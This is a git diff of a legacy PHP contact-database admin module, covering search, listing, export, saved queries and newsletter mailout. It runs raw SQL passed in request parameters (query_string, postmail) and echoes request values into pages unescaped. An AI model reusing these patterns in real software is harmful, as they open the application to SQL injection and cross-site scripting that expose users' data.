+top("Contact Database","help/contact.phtml?key=search","SteveContactsDatabase_1.0");
+html_nav_table($nav,$navWidth);
+?>
+<table id="admin-list-table" style="width:750px;">
+  <tr>
+    <td colspan=4>
+       There
+       <?
+       if($total < 1 ) 
+               echo " No records";
+       elseif($total > 1) 
+               echo "are $total contacts";
+       else 
+               echo "is $total contact";
+       ?> in the database.
+       </td>
+  </tr>        
+  <tr>
+    <th bgcolor="#2f4f4f" colspan=4 class="theader">
+       Search:
+    </th>
+  </tr>        
+  <tr>
+    <td colspan=4>
+       <b>Search records for:</b><br>
+       </td>
+  </tr>
+  <tr>
+  <td colspan=4>
+  <form name="search" action="query_contact.phtml" method="POST" onSubmit="
+       var msg = '';
+       var errors = '';
+       var ping = 0;
+       var all = 0;
+       this.fvalue.value = '';
+       this.rfvalue.value = '';
+       this.rdvalue.value = '';
+
+       if(this.search.value == '') {
+               all++;
+       }
+
+       for(var i = 0;i<4;i++) {
+               if(this.search_type.options[i].selected){
+                       ping++;
+               }
+       }
+
+       if(all == 0) {
+               if(ping == 0) {
+                       errors += '-You must select a search type\n';
+               }       
+       }       
+
+       for(var i=0;i<<?echo count($fields)?>;i++) {
+               if(this.ifields.options[i].selected) {
+                       this.fvalue.value += ':' + this.ifields.options[i].value;
+               }
+       }
+
+       for(var i=0;i<<?echo count($fields)?>;i++) {
+               if(this.return_fields.options[i].selected) {
+                       this.rfvalue.value += ':' + this.return_fields.options[i].value;
+               }
+       }
+       
+       for(var i=0;i<1;i++) {
+               if(this.dates.options[i].selected) {
+                       this.rdvalue.value += ':' + this.dates.options[i].value;
+               }
+       }
+       if(all == 0) {
+               if(this.fvalue.value == '') {
+                       errors += '-You must select at least one field to search in\n';
+               }
+       }
+       
+        if(this.rfvalue.value == '') {
+               errors += '-You must select at least one field for output\n';
+       }
+       
+       if(all == 1) {
+               if(errors == '') {
+                       return(true);
+               }
+       }
+       
+       if(errors == '') {
+               return(true);
+       }
+       else {
+               msg += '_______________________________________\n\n';
+               msg += 'The form was not submitted please check\n';
+               msg += 'the following and resubmit\n\n';
+               msg += errors + '\n\n';
+               msg += '_______________________________________\n\n';
+       
+               alert(msg);
+               return(false);
+       }
+  ">
+  <input name="search" value="<?echo $search?>" size=40>
+  <input type="submit" name="Submit Query">
+  </td>
+  </tr>
+  <tr>
+    <td class="small" valign=top>
+       <b>In Fields:</b><br>
+       <select name="ifields" multiple size=8>
+       <?foreach($fields as $key2=>$value2) {?>
+       <option value="<?echo $key2?>" <?=(strstr($fvalue,$key2))?"selected":""?>><?echo $value2?>
+       <?}?>
+       </select>
+       <br>
+       <label for="in-all"><input type="radio" id="in-all" name="a" onClick="
+       for(var i=0;i<<?echo count($fields)?>;i++) {
+               this.form.ifields.options[i].selected=1;
+       }
+       ">All</label>
+       <label for="in-none"><input type="radio" id="in-none" name="a" onClick="
+       for(var i=0;i<<?echo count($fields)?>;i++) {
+               this.form.ifields.options[i].selected=0;
+       }
+       ">None</label>
+       </td>
+       <td valign=top class="small" nowrap>
+      <b>Search Where:</b><br>
+         <select name="alter">
+         <option value="0" <?=($alter=="0")?"selected":""?>>Anywhere
+         <option value="1" <?=($alter=="1")?"selected":""?>>Begining
+      <option value="2" <?=($alter=="2")?"selected":""?>>Ending
+         </select><br>
+       <input type="hidden" name="fvalue">
+       <br>
+       <b>Mail Ok</b><br>
+<?
+       $mail = MAILOK;
+?>
+       <select name="<?=$mail?>">
+       <option value="n" <?=($$mail=="n")?"selected":""?>>Don't Care
+       <option value="1" <?=($$mail=="1")?"selected":""?>>Yes
+       <option value="0" <?=($$mail=="0")?"selected":""?>>No
+       </select>
+    <br>
+       <b>Lets Talk Golf</b><br>
+<?
+       $talkgolf = 'letstalkgolf';
+?>
+       <select name="<?=$talkgolf?>">
+       <option value="n" <?=($$talkgolf=="n")?"selected":""?>>Don't Care
+       <option value="1" <?=($$talkgolf=="1")?"selected":""?>>Yes
+       <option value="0" <?=($$talkgolf=="0")?"selected":""?>>No
+       </select>
+    <br>
+    <br><b>Search Type:</b><br>
+  <select name="search_type" size=4>
+  <option value="1" <?=(!isset($search_type) || $search_type=="1")?"selected":""?>>Exact string 
+  <option value="2" <?=($search_type=="2")?"selected":""?>>And 
+  <option value="3" <?=($search_type=="3")?"selected":""?>>Or
+  <option value="4" <?=($search_type=="4")?"selected":""?>>Not
+  </select>
+  <br><br>
+    <b>Case Sensitivity:</b><br>
+      <select name="case">
+      <option value="ON" <?=($case == "ON")?"selected":""?>>On
+      <option value="OFF" <?=(!isset($case) || $case == "OFF")?"selected":""?>>Off
+      </select><br>
+<?
+       echo '</td><td valign=top width=25%>';
+?>
+       <b>Information Request</b>
+       
+    
+               
+               <br>
+                      <?
+                       $qs = "SELECT   *
+                                  FROM         contact_inq";
+
+                       $res = db_auto_get_data($qs);
+                       if(is_array($res))
+                               {
+                               foreach($res as $i=>$data) 
+                                       {
+                               ?>
+                               <label for="intfield<?php echo $data['id'];?>"><input type="checkbox" id="intfield<?php echo $data['id'];?>" name="cols[]" value="<?echo $data['id'];?>" <?php if(is_array( $cols ) && in_array($data['id'],$cols)){echo 'checked';}?>>
+                      <?echo $data['header'];?></label><br>
+                      <?
+                                       }
+                               }
+                 ?></td>
+      <td valign=top class=small width=25%>
+                 <b>Heard About Via</b>
+               <br>
+             <?php
+                        $drop = array(''=>'-- Options --','Internet'=>'Internet','Magazine Ad'=>'Magazine Ad','Newspaper'=>'Newspaper','Radio'=>'Radio','Referral'=>'Referral','Other'=>'Other');
+                        foreach ($drop as $mk => $mv)
+                        {
+                                if($mk!='')
+                                {
+                                        echo '<input type="checkbox" name="heardabout[]" value="'.$mv.'">'.$mv.'<br>';
+                                }
+                        }
+                        ?>
+      </td>
+       </tr>
+<?php
+$sql = "
+  SELECT *
+    FROM courses
+ORDER BY name";
+if ($courseData = db_auto_get_data($sql)) {
+?>
+    <tr>
+      <td colspan="4">
+          <b>Courses</b><br />
+        <?php
+        foreach ($courseData as $cdRow) {
+            echo '<label style="display:block;width:180px;float:left;">
+            <input type="checkbox" name="cors[]" value="'.$cdRow['id'].'"';
+            if (is_array($cors) && in_array($cdRow['id'], $cors)) {
+                echo ' checked="checked"';
+            }
+            echo '>'.$cdRow['name'].'
+        </label>';
+        }
+        ?>
+      </td>
+    </tr>
+<?php
+}
+?>
+       <tr>
+         <td colspan="4"> &nbsp; </td>
+       </tr>
+  <tr>
+    <th bgcolor="#2f4f4f" colspan=4 class="theader">
+       Output of records:
+    </th>
+  </tr>        
+  <tr>
+    <td class="small" valign=top>
+       <b>Output Fields:</b><br>
+       <select name="return_fields" multiple size=8>
+       <?foreach($fields as $key2=>$value2) {?>
+       <option value="<?echo $key2?>" <?=(strstr($rfvalue,$key2))?"selected":""?>><?echo $value2?>
+       <?}?>
+       </select>
+       <br>
+       <input type="hidden" name="rfvalue">
+       <label for="out-all"><input type="radio" id="out-all" name="a" onClick="
+       for(var i=0;i<<?echo count($fields)?>;i++) {
+               this.form.return_fields.options[i].selected=1;
+       }
+       for(var i=0;i<<?echo ($p_date_from)?"3":"1";?>;i++) {
+               this.form.dates.options[i].selected=1;
+       }
+       ">All</label>
+       <label for="out-none"><input id="out-none" type="radio" name="a" onClick="
+       for(var i=0;i<<?echo count($fields)?>;i++) {
+               this.form.return_fields.options[i].selected=0;
+       }
+       for(var i=0;i<<?echo ($p_date_from)?"3":"1";?>;i++) {
+               this.form.dates.options[i].selected=0;
+       }
+       ">None</label>
+  </td>
+  <td class="small" valign=top>
+       <input type="hidden" name="rdvalue" value="">
+    <b>Output fields (Dates):</b>
+       <select name="dates" multiple size=3>
+       <option value="create_date" <?=(strstr($dates,"create_date"))?"selected":""?>>Created Date
+  <?if($p_date_from){?>
+  <option value="purch_date" <?=(strstr($dates,"purch_date"))?"selected":""?>>Last Purchase Date
+  <?}
+  if($a_date_from){?>
+  <option value="access_date" <?=(strstr($dates,"access_date"))?"selected":""?>>Last Access Date
+  <?}?>
+       </select>
+  </td>
+  <td class="small" valign=top width=25%>
+  <b>File output:</b><br>
+  <select name="file" size=4>
+  <option value="" <?=(!isset($file) || $file == "")?"selected":""?>>No File
+  <option value="zip" <?=($file=="zip")?"selected":""?>>zip file
+  <option value="gz" <?=($file=="gz")?"selected":""?>>tar.gz(tar ball)
+  <option value="rpt" <?=($file=="rpt")?"selected":""?>>text file 
+  </select>
+  </td>
+  <td valign=top class=small width=25%>
+  <b>Delimiter:</b><br>
+  <select name="delimiter" size=4>
+  <option value="tab" <?=($delimiter=="tab")?"selected":""?>>TAB
+  <option value="comma" <?=($delimiter=="comma")?"selected":""?>>Comma
+  <option value="csv" <?=($delimiter=="csv")?"selected":""?>>CSV
+  <option value="pipe" <?=($delimiter=="pipe")?"selected":""?>>Pipe
+  </select>
+  </td>
+  </tr>
+  <tr>
+    <td colspan="4" align="center">
+    <input type="submit" name="Submit Query">
+    </td>
+  </tr>
+       <tr>
+         <td colspan="4"> &nbsp; </td>
+       </tr>
+  <tr>
+    <th bgcolor="#2f4f4f" colspan=4 class="theader">
+       Search Dates Ranges
+    </th>
+  </tr>        
+  <tr>
+    <th bgcolor="#191970" class="theader" colspan=2>
+       From 
+    </th>
+    <th bgcolor="#191970" class="theader" colspan=2>
+       To 
+    </th>
+  </tr>        
+       
+  <?if($p_date_from){?>
+  <tr>
+    <th bgcolor="#2f4f4f" colspan=4 class="theader">
+       Last Purchace Date
+    </th>
+  </tr>        
+  <tr>
+  <td align="center" colspan=2> <?echo $p_date_from?> </td>
+  <td align="center" colspan=2> <?echo $p_date_to?> </td>
+  </tr>
+  <?}?>
+  <tr>
+    <th bgcolor="#2f4f4f" colspan=4 class="theader">
+       Create Date
+    </th>
+  </tr>        
+  <tr>
+  <td align="center" colspan=2> <?echo $c_date_from?> </td>
+  <td align="center" colspan=2> <?echo $c_date_to?> </td>
+  </tr>
+  <?if($a_date_from){?>
+  <tr>
+    <th bgcolor="#2f4f4f" colspan=4 class="theader">
+        Last Access Date
+    </th>
+  </tr>        
+  <tr>
+  <td align="center" colspan=2> <?echo $a_date_from?> </td>
+  <td align="center" colspan=2> <?echo $a_date_to?> </td>
+  </tr>
+  <?}?>
+  </table>
+<?
+footer();
+?>
diff --git a/admin/Contact/list_contact.phtml b/admin/Contact/list_contact.phtml
new file mode 100755 (executable)
index 0000000..226f6c4
--- /dev/null
@@ -0,0 +1,271 @@
+<?php
+//$Id: list_contact.phtml,v 1.1.1.1 2009/12/18 17:46:59 matrix Exp $
+include("../../setup.phtml");
+include("contact_setup.inc");
+if(!$start)
+       $start = 0;
+
+if($postquery)
+       $query_string = $postquery;
+if(!$dbd = db_connect())
+       html_error(DB_ERROR_MSG."no connection",1);
+       
+$checkqs = "SELECT     count(*) as contacts 
+                   FROM        ".TABLE;
+
+if(!$checkres = db_exec($dbd,$checkqs)) 
+       html_error(DB_ERROR_MSG.__LINE__.$checkqs,1);
+
+$numcontacts = pg_result($checkres,0,"contacts");      
+if($numcontacts == 0) 
+       html_error("There are no contacts in the database",1);
+
+if(!isset($back) && !isset($query_string)) {
+       $query = "SELECT        ".ID.",*
+                         FROM          ".TABLE."
+                         WHERE         ".WHERE."
+                         ORDER BY      lname,fname";
+
+       $query = addslashes($query);
+       $qs = "SELECT   id
+                  FROM         query_db
+                  WHERE        query_name = '(current)'";
+
+       if(!$res = db_exec($dbd,$qs)) 
+               html_error(DB_ERROR_MSG.__LINE__.$qs,1);
+
+       if(db_numrows($res)==0) {
+       $qs = "INSERT 
+                  INTO         query_db 
+                                       (query,query_name)
+                  VALUES       ('$query','(current)')";
+       }
+       else {
+               $id = pg_result($res,0,"id");
+               $qs = "UPDATE   query_db
+                          SET          query = '$query',
+                                       file = '',
+                                       delimiter = ''
+                          WHERE        id = $id";
+       }
+       if(!$res = db_exec($dbd,$qs)) 
+               html_error(DB_ERROR_MSG.__LINE__.$qs,1);
+       unset($qs);
+}
+
+if($delimiter == "csv") 
+       $csv = TRUE;
+
+if(isset($query_string)) {
+       $query_string = strtr($query_string,"\n"," ");
+       $query_string = strtr($query_string,"\t"," ");
+       $query_string = stripslashes($query_string);
+       $qs = $query_string;
+}
+else {
+       $queryqs = "SELECT      query
+                               FROM    query_db
+                               WHERE   query_name LIKE '(current)'";
+       $queryres = db_exec($dbd,$queryqs);
+       if(pg_numrows($queryres) == 0) {
+               $qs = "SELECT   ".ID.",*
+                         FROM          ".TABLE."
+                         WHERE         ".WHERE."
+                         ORDER BY      lname,fname";
+       }
+       else {
+               //print_r($queryrow);
+               $qs = pg_result($queryres,0,"query");;
+       }
+}
+
+top("List Contacts","help/contact.phtml?key=List");
+?>
+<script src="wm.js"></script>
+<script src="msg.js"></script>
+<?
+html_nav_table($nav,$navWidth);
+if(NEWSLETTER)
+{
+$mquery = "SELECT id,subject FROM news_response;";
+$mres = db_exec($dbd,$mquery);
+while( $mrow = pg_fetch_array( $mres ) )
+{
+       $mailout[] = array( 'subject' => $mrow['subject'], 'id' => $mrow['id'] );
+}
+?>
+<script lang="javascript">
+var remind;
+remind = 'This will mailout the Newsletter\n';
+</script>
+<table id="admin-list-table">
+       <tr>
+  <th colspan=2>
+<form action="mailout.phtml" method="POST" onSubmit="
+return(confirm(remind)); 
+">
+<select name="mail_id">
+<?
+unset( $mrow );
+foreach( $mailout as $mrow )
+{
+       echo '<option value="'.$mrow["id"].'">'.strip_tags($mrow["subject"]).'</option>';
+}
+?>
+</select>
+<input type="hidden" name="postmail" value="<?echo $qs?>">
+<input type="submit" value="Mail Out the Newsletter">
+</form>
+  </th>
+</tr>
+<?}?>
+<tr>
+    <th bgcolor="#2f4f4f" class="theader"> Functions: </th>
+    <th bgcolor="#2f4f4f" class="theader"> Contact Info        </th>
+</tr>
+<?
+$totalqs = substr_replace($qs," count(*) as total FROM ",strpos($qs,"SELECT")+7,strpos($qs,"FROM")-3);
+if(strpos($totalqs,"ORDER BY")!=0)
+       $totalqs = substr_replace($totalqs,"",strpos($totalqs,"ORDER"));
+if(!$totalres = db_exec($dbd,$totalqs))
+       html_error(DB_ERROR_MSG.__LINE__.$totalqs,1);
+if(count($totalres)==0)
+       $totalnum = 0;
+else   
+       $totalnum = pg_result($totalres,0,"total");
+$qs .= " LIMIT ".ENTRIES_PER_PAGE." OFFSET ".$start;
+$res = db_exec($dbd,$qs);
+?>
+<tr>
+  <td colspan="2"><?echo $totalnum?>Result(s)</td>
+</tr>
+<?
+if(!$res) html_error(DB_ERROR_MSG.__LINE__.$qs,1);
+// What page are you on?
+if($start==0)
+       $page == 1;
+else   
+       $page = ($start / ENTRIES_PER_PAGE) + 1;
+$totalpages = floor($totalnum / ENTRIES_PER_PAGE);
+$totalpages++;
+
+$result_string = "";
+$num = db_numrows($res);
+if(!$start)
+       $start = 0;
+$begin = 0;
+$ending = $num;        
+// for paging results get a first page and last page link also
+// first page is easy use 0
+$first = '<a href="list_contact.phtml?".$stuff."&start=0">First</a> - ';
+// last page use total pages
+$lastpage = ' - <a href="list_contact.phtml?'.$stuff.'&start='.( ( $totalpages - 1 ) * ENTRIES_PER_PAGE ).'">Last</a>';
+if($totalnum > ENTRIES_PER_PAGE && ( $page != $totalpages ) )
+       {
+       $end = ENTRIES_PER_PAGE + $start;
+       }
+else
+       {
+       $end = $totalnum;
+       }
+$last = $start - ENTRIES_PER_PAGE;     
+if(!$query_string)
+       {
+       $query_string = $qs;
+       $query_string = str_replace(" LIMIT ".ENTRIES_PER_PAGE." OFFSET ".$start,"",$query_string);
+       }
+$stuff = "query_string=".urlencode($query_string)."&file=".$file."&delimiter=".$delimiter."&csv=".$csv;
+if(($start - ENTRIES_PER_PAGE) < 0)
+       $prev = "PREV";
+else   
+       $prev = "<a href=\"list_contact.phtml?".$stuff."&start=".$last."\">PREV</a>";
+if($end < $totalnum)
+       $next = "<a href=\"list_contact.phtml?".$stuff."&start=".$end."\">NEXT</a>";
+else   
+       $next = "NEXT";
+       ?>
+<tr>
+ <td colspan="2">
+ <?
+ if($num!=0)
+ echo $first.$prev."-".($start+1)."-to-".$end."-".$next.$lastpage;
+ ?>
+ </td>
+</tr>
+<?
+if(count($res)>0)
+       {
+       for($i=$begin;$i<$ending;$i++) 
+               {
+               if(!$row = db_fetch_array($res,$i,PGSQL_ASSOC))
+                       html_error(DB_ERROR_MSG.__LINE__,1);;
+               for($b=1;$b<count($row);$b++) {
+                       $fields[$b] = pg_fieldname($res,$b);
+                       if($csv)
+                               $result_string .= "\"".$row[$fields[$b]]."\"";  
+                       else
+                               $result_string .= $row[$fields[$b]];  
+                       if($b != count($row)-1) 
+                               $result_string .= $delimiter;
+                       if($b == count($row)-1) 
+                               $result_string .= "\n";
+               }
+               if($i%2==0) {
+                       $background = " bgcolor=\"#bfbfbf\"";
+               }
+               else {
+                       $background = " bgcolor=\"#e0e0e0\"";
+               }
+               ?>
+               <tr <?echo $background;
+       $id = ID;
+                       ?>>
+                 <td nowrap><a href="edit_contact.phtml?id=<?echo $row[$id]?>">
+                 [Edit]</a>
+                 <a href="update_contact.phtml?Command=Delete&id=<?echo $row[$id]?>" onClick="
+                       if(confirm('This will delete this record Are you sure?')) { 
+                               return(true);
+                       }else {
+                               return(false);
+                       }
+                       ">
+                 [Delete]</a>
+                 </td>
+                 <td align=left>
+                 <?
+                 foreach($fields as $key) {
+                 if($key != "id" && $key != "cust_id" 
+                                 && $key != "userid" && $key != "usernum"
+                                 && $key != "usergroup" && $key != "passwd")
+                       echo $row[$key]." ";
+                 }
+                 ?>
+                 </td>
+               </tr>
+               <?
+               }
+       }
+       ?>
+       </table>
+       <?
+if(isset($file) && $file != "" && db_numrows($res) > 0) {      
+?>
+<table>
+<tr>
+    <th bgcolor="#2f4f4f" class="theader" colspan=2>Download files</th>
+</tr>
+<tr>
+  <td><form action="download.phtml">
+  <input type="hidden" name="query_string" value="<?echo $query_string?>">
+  <input type="hidden" name="file" value="<?echo $file?>">
+  <input type="hidden" name="delimiter" value="<?echo $delimiter?>">
+  <input type="hidden" name="csv" value="<?echo $csv?>">
+  <input type="submit" value="Download Report">
+  </form></td>
+</tr>
+</table>
+<?
+}
+html_nav_table($nav,5);
+footer();
+?>
diff --git a/admin/Contact/list_query.phtml b/admin/Contact/list_query.phtml
new file mode 100755 (executable)
index 0000000..5228300
--- /dev/null
@@ -0,0 +1,58 @@
+<?php
+//$Id: list_query.phtml,v 1.1.1.1 2009/12/18 17:46:59 matrix Exp $
+include("../../setup.phtml");
+include("contact_setup.inc");
+
+top("Query DB","");
+
+html_nav_table($nav,$navWidth);
+?>
+<script src="<?echo URL_BASE."admin/wm.js"?>"></script>
+<script src="<?echo URL_BASE."admin/msg.js"?>"></script>
+<table id="admin-list-table">
+<tr bgcolor="#2f4f4f">
+  <th class="theader">
+  Functions:
+  </th>
+  <th class="theader">
+  Queries in database
+  </th>
+</tr>
+<?
+if(!$dbd = db_connect()) html_error(DB_ERROR_MSG,0);
+
+$qs = "SELECT  id,query_name 
+          FROM         query_db";
+
+if(!$res = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+for($i=0;$i<db_numrows($res);$i++) {
+       $row = db_fetch_array($res,$i,PGSQL_ASSOC);
+       
+?>
+       <script lang="javascript">
+       var o<?echo $i?> = new Object();
+       o<?echo $i?>.msg = 'You are about to Permanently Delete this Query';
+       o<?echo $i?>.url = 'del_query.phtml?id=<?echo $row[id]?>';
+       o<?echo $i?>.popup = '1';
+       o<?echo $i?>.popup.name = "delwin";
+       o<?echo $i?>.width = 630;
+       o<?echo $i?>.height = 300;
+       </script>
+<tr>
+ <td>
+ <a href="query_contact.phtml?query_no=<?echo $row[id]?>">[Recall]</a>
+ <?if($row[query_name] != "(current)") {?>
+ <a href="del_query.phtml?id=<?echo $row[id]?>" onClick="
+ glm_confirm(o<?echo $i?>);
+ return(false);
+ ">[Delete]</a>
+ <?}?>
+ </td>
+  <td><b><?echo $row[query_name]?></b></td>
+</tr>
+<?}?>
+</table>
+<?
+footer();
+?>
diff --git a/admin/Contact/mailout.phtml b/admin/Contact/mailout.phtml
new file mode 100755 (executable)
index 0000000..6df7776
--- /dev/null
@@ -0,0 +1,170 @@
+<html>
+<head>
+<title>Mailing out The Newsletter</title>
+</head>
+<body bgcolor=white>
+<?php
+include("../../setup.phtml");
+include("contact_setup.inc");
+
+// File names for SPAMerizer
+$Filename = tempnam( "/var/spool/SPAMerizer", "COZYH" );
+unlink($Filename);
+
+$HeadFilename = $Filename.".head";
+$BodyFilename = $Filename.".body";
+$ToFilename = $Filename.".to";
+$ReadyFilename = $Filename.".ready";
+
+if(!$dbd = db_connect(CONN_STR)) 
+       html_error(DB_ERROR_MSG,1);
+$postmail = stripslashes($postmail);
+$postmail = eregi_replace("SELECT.*FROM","SELECT email INTO TEMPORARY temp_table FROM",$postmail);
+$postmail = eregi_replace("ORDER BY.*","",$postmail);
+$postmail .= " AND ".MAILOK." = 't'";
+$postmail .= ";CREATE INDEX email_indx on temp_table (email);";
+
+if(!$mailres = db_exec($dbd,$postmail)) 
+       html_error(DB_ERROR_MSG.__LINE__.$postmail,1);
+
+$mailqs = "SELECT 
+                  DISTINCT ON (email) email
+                  FROM         temp_table
+                  GROUP BY email;";
+flush();
+if(!$mailres = db_exec($dbd,$mailqs)) 
+       html_error(DB_ERROR_MSG.__LINE__.$mailqs,1);
+
+if(db_numrows($mailres)>0)
+       {
+       for($a=0;$a<db_numrows($mailres);$a++) 
+               {
+               $mvdata = db_fetch_array($mailres,$a,PGSQL_ASSOC);      
+               $email = trim($mvdata["email"]); 
+               if($email)
+                       {
+                       $mail[] = $email;       
+                       }
+               }
+       }
+if(is_array($mail) && count($mail)>0) {
+       // write the temp.to file
+       $mail = implode("\n",$mail);
+       $fp = fopen($ToFilename,"w");
+       fputs($fp,$mail,strlen($mail));
+       fclose($fp);
+}
+else {
+       $mail = "";
+}
+
+
+if($mail != "") {
+       // I am changing this to a two part mime type email
+       // html and text
+       // using class_html     
+       $responseqs = "SELECT   * 
+                                  FROM         news_response
+                                  WHERE        id = $mail_id";
+       if(!$resres = db_exec($dbd,$responseqs))
+               html_error(DB_ERROR_MSG.$responseqs,0);
+
+       $responserow = db_fetch_array($resres,0,PGSQL_ASSOC);
+
+       $subject = trim($responserow['subject']);
+       $data['subject'] = &$subject;
+       $message = $responserow['response'];
+       // html part of email
+       //$data['response'] = stripslashes(nl2br($message));
+       $message = str_replace("IMAGE1","<!-- image -->",$message);
+       $message = str_replace("IMAGE2","<!-- image2 -->",$message);
+       $message = str_replace("IMAGE3","<!-- image3 -->",$message);
+       $data['response'] = $message;
+       $data['image'] = add_image($responserow["image"],$responserow["image_align"]);
+       $data['image2'] = add_image($responserow["image2"],$responserow["image2_align"]);
+       $data['image3'] = add_image($responserow["image3"],$responserow["image3_align"]);
+       $data['url'] = URL_BASE;
+       
+       $html = explode_template(NEWSLETTER_PROTOTYPE,$data);
+
+       // text part of email
+       $text = strip_tags($message);
+       $text .= "\n\n-------------------------------------------------------------------\n";
+       $text .= "You are receiving this message because you have expressed an interest in\n";
+       $text .= "receiving specials and information from ".SITENAME.". If you do not\n";
+       $text .= "wish to receive future items of this nature, please reply to this e-mail\n";
+       $text .= "with the word \"CANCEL\" on the subject line. You will then be removed \n";
+       $text .= "from future mailings.\n";
+       $text .= "-------------------------------------------------------------------\n";
+       
+       // Write the temp.header file
+       $glm_headers = "NotifyAddr: ".OWNER_EMAIL."\n"
+               . "ProcessName: ".SITENAME."\n"
+               . "From: ".FROM_NEWS_EMAIL."\n"
+               . "ReportInterval: 2\n"
+               . "BlockSize: 1\n"
+               . "ProductionMode: ".PRODUCTION_MODE."\n";
+
+       $fp = fopen($HeadFilename,"w");
+       fputs($fp,$glm_headers,strlen($glm_headers));
+       fclose($fp);
+
+       $headers =      "From: ".OWNER_EMAIL."\n".
+                               "Return-To: ".OWNER_EMAIL."\n".
+                               "To: ".OWNER_EMAIL."\n".
+                               "Subject: $subject\n".
+                               "Reply-to: ".REPLY_TO."\n".
+                               "Mime-Version: 1.0\n".
+                               "Content-Type: multipart/alternative; boundary=ContentBoundry\n\n";     
+       $fp = fopen($BodyFilename,"w");
+       if(HTML_EMAIL=="ON"){
+               $body_html = '--ContentBoundry
+Content-Type: text/plain; charset="US-ASCII"
+'.$text.'
+--ContentBoundry
+Content-Type: text/html; charset="US-ASCII"
+
+'.$html.'
+
+--ContentBoundry--';
+               fputs($fp,$headers,strlen($headers));
+               fputs($fp,$body_html,strlen($body_html));
+       }
+       else{
+               fputs($fp,$headers,strlen($headers));
+               fputs($fp,$text,strlen($text)); 
+       }
+       fclose($fp);
+       // write the temp.ready file and your done!
+       $fp = fopen($ReadyFilename,"w");
+       fclose($fp);
+?>
+<table>
+<tr>
+  <td>Mail the current <?echo $subject?></td>
+</tr>
+<tr>
+  <td><?echo (PRODUCTION_MODE == "ON")?"ProductionMode is ON, Mail is sent.":"ProductionMode is OFF, Mail is not sent."?></td>
+</tr>
+<tr>
+  <td><?echo (HTML_EMAIL == "ON")?"HTML Email is ON, Mail is html encoded.":"HTML Email is OFF, Mail is plain text."?></td>
+</tr>
+<tr>
+  <td>You will recieve notification on the mailing task by email at <?=OWNER_EMAIL?>.</td>
+</tr>
+</table>
+<?
+       }
+       else {
+?>
+<table width=500 bgcolor="#e0e0e0">
+<tr bgcolor="#2f4f4f">
+  <th><font color=white>Newsletter Not Sent!</th>
+  </tr>
+</table>
+<?
+       }
+
+?>
+</body>
+</html>
diff --git a/admin/Contact/main.css b/admin/Contact/main.css
new file mode 100755 (executable)
index 0000000..fef38df
--- /dev/null
@@ -0,0 +1,23 @@
+body {
+       background-color: #FFFFFF;
+}
+
+.navlink {
+       font-size: 80%;
+       font-family: arial;
+}
+
+td {
+       font-size: 80%;
+       font-family: arial,helvetica;
+}
+
+.theader {
+       font-size: 120%;
+       font-family: arial,helvetica;
+       color: #FFFFFF;
+}
+
+.theadertd {
+       background-color: #000080;
+}
diff --git a/admin/Contact/msg.js b/admin/Contact/msg.js
new file mode 100755 (executable)
index 0000000..8ed837d
--- /dev/null
@@ -0,0 +1,29 @@
+function glm_confirm(o) {
+       var p = o.msg.split("\n");
+       var k = 0;
+       for(i = 0;i < p.length;i++) {
+               if(k > p[i].length)
+                       continue;
+               else 
+                       k = p[i].length;
+       }       
+       
+       var bound = "";
+       for(i = 0; i < k; i++) {
+               bound = bound+'_';
+       }
+       var str = bound+"\n\n"+o.msg+"\n\n"+bound+"\n\nAre You Sure?";
+       if(confirm(str)) {
+               if(o.popup == '1') {
+                       var nw = new Object();
+                       nw.url = o.url;
+                       nw.name = o.popup.name;
+                       nw.width = o.width;
+                       nw.height = o.height;
+                       glm_open(nw);
+               }
+               else {
+                       location.replace(o.url);
+               }
+       }
+}
diff --git a/admin/Contact/newsletter_template.html b/admin/Contact/newsletter_template.html
new file mode 100755 (executable)
index 0000000..5417be4
--- /dev/null
@@ -0,0 +1,29 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="content-type" content="text/html;charset=utf-8">
+<body>
+<style type="text/css">
+<!-- 
+#wrap {background: #fefefe;text-align: center;
+       }
+#inside {
+       width: 640px;
+       border: 2px solid #ccc;
+       margin-left: auto;
+       margin-right: auto;
+       background: #E5D2C1;
+       }
+#content {     padding: 10px; text-align: left;}
+-->
+</style>
+<div id="wrap">
+       <div id="inside">
+               <div id="content">
+                       <!-- response -->
+                       <div style="font-family: arial, helvetica; font-size: 11px;"><!-- bailout --></div>
+               </div>  
+       </div>
+</div> 
+</body>
+</html>
diff --git a/admin/Contact/notes/ChangeLog b/admin/Contact/notes/ChangeLog
new file mode 100755 (executable)
index 0000000..fc6c567
--- /dev/null
@@ -0,0 +1,327 @@
+2002-05-07 13:47  matrix
+
+       * contact_setup.inc, del_query.phtml, download.phtml,
+       edit_contact.phtml, form.js, index.phtml, list_contact.phtml,
+       list_query.phtml, mailout.phtml, main.css, msg.js,
+       query_contact.phtml, query_db.phtml, query_save.phtml,
+       update_contact.phtml, verify.js, wm.js, help/contact.phtml,
+       notes/ChangeLog, notes/Contact, notes/adm2.sql, notes/contact.sql,
+       notes/guest.sql: "version 2.4"
+
+2002-05-07 13:45  matrix
+
+       * contact.sql, contact_setup.inc, edit_contact.phtml,
+       list_contact.phtml, update_contact.phtml, notes/ChangeLog,
+       notes/contact.sql, notes/Contact: adding ChangeLog file and moving
+       sql file into notes.  I have also set the insert part of
+       update_contact.phtml to use nextval to generate the PRIMEKEY so
+       this will work with previous version of th shop which don't have
+       the default set on cust_id
+
+2002-05-07 11:14  matrix
+
+       * contact.sql, contact_setup.inc, del_query.phtml, download.phtml,
+       edit_contact.phtml, form.js, index.phtml, list_contact.phtml,
+       list_query.phtml, mailout.phtml, main.css, msg.js,
+       query_contact.phtml, query_db.phtml, query_save.phtml,
+       update_contact.phtml, verify.js, wm.js, help/contact.phtml,
+       notes/adm2.sql, notes/guest.sql: testing out both contact and
+       customer table use
+
+2002-05-07 10:08  matrix
+
+       * form.js, msg.js, verify.js, wm.js: "putting javascript files in
+       dir"
+
+2002-05-07 09:57  matrix
+
+       * index.phtml: "all versions now 2.0"
+
+2002-05-07 09:57  matrix
+
+       * index.phtml: new file
+
+2002-05-07 09:44  matrix
+
+       * admin_constants.inc, contact.phtml, contact.sql,
+       contact_setup.inc, contact_test.sql, del_query.phtml,
+       download.phtml, edit_contact.phtml, index.html, list_contact.phtml,
+       list_cust_form.phtml, list_customers.phtml, list_query.phtml,
+       mailout.phtml, main.css, path.phtml, query_contact.phtml,
+       query_db.phtml, query_save.phtml, shopping_cart_setup.inc,
+       update_contact.phtml, help/contact.phtml, notes/adm2.sql,
+       notes/guest.sql: "merging final changes into one app"
+
